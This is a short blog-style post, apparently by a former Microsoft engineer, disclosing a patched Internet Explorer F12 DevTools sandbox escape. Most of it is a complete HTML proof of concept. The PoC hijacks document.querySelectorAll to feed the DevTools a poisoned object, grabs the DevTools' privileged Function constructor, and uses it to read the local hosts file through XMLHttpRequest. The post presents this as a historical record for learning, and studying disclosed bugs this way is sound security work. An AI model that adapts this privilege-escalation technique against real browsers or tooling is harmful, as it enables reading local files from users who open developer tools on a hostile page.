After playing around with IE’s F12 developer tools for a while, I noticed that the DOM Explorer ran certain operations with elevated privileges. This one surprised me — by intercepting querySelectorAll, a page could inject a malicious object into the DevTools processing pipeline and escape the normal security sandbox.

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>Test</title>
</head>
<body>
Vulnerable Code: var classNames = className.split(/\s+/);<br />
File: DOM/CSSInformationExtractor.js<br />
Open DevTools and enjoy!

<script>

_querySelectorAll = document.querySelectorAll;
document.querySelectorAll = function(arg)
{
	if (arg == "[class]")
	{
		var arr = new Array(new Object());
		arr.item = function()
		{
			var o = new Object();
			o.classList = false;
			o.className = new Object();
			o.className.split = function()
			{
				exploit(arguments[0].constructor.constructor);
			}
			return o;
		}
		return arr;
	}
	else return _querySelectorAll(arg);
}


function exploit(F12Function)
{
	oXML = F12Function("return new XMLHttpRequest()")();
	oXML.open("GET", "file:///c:/windows/system32/drivers/etc/hosts", false);
	//oXML.open("GET", "http://www.bing.com", false); // This also works
	oXML.send(null);
	alert(oXML.responseText);
}

</script>
</body>
</html>

The vulnerable code was in DOM/CSSInformationExtractor.js inside the F12 tools, specifically the line var classNames = className.split(/\s+/). By overriding document.querySelectorAll to return a fake object with a poisoned className.split, the page could capture the DevTools’ own Function constructor — which ran with elevated privileges. From there, an XMLHttpRequest could read local files like C:\Windows\System32\drivers\etc\hosts. Opening DevTools on a malicious page was all it took to trigger this.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.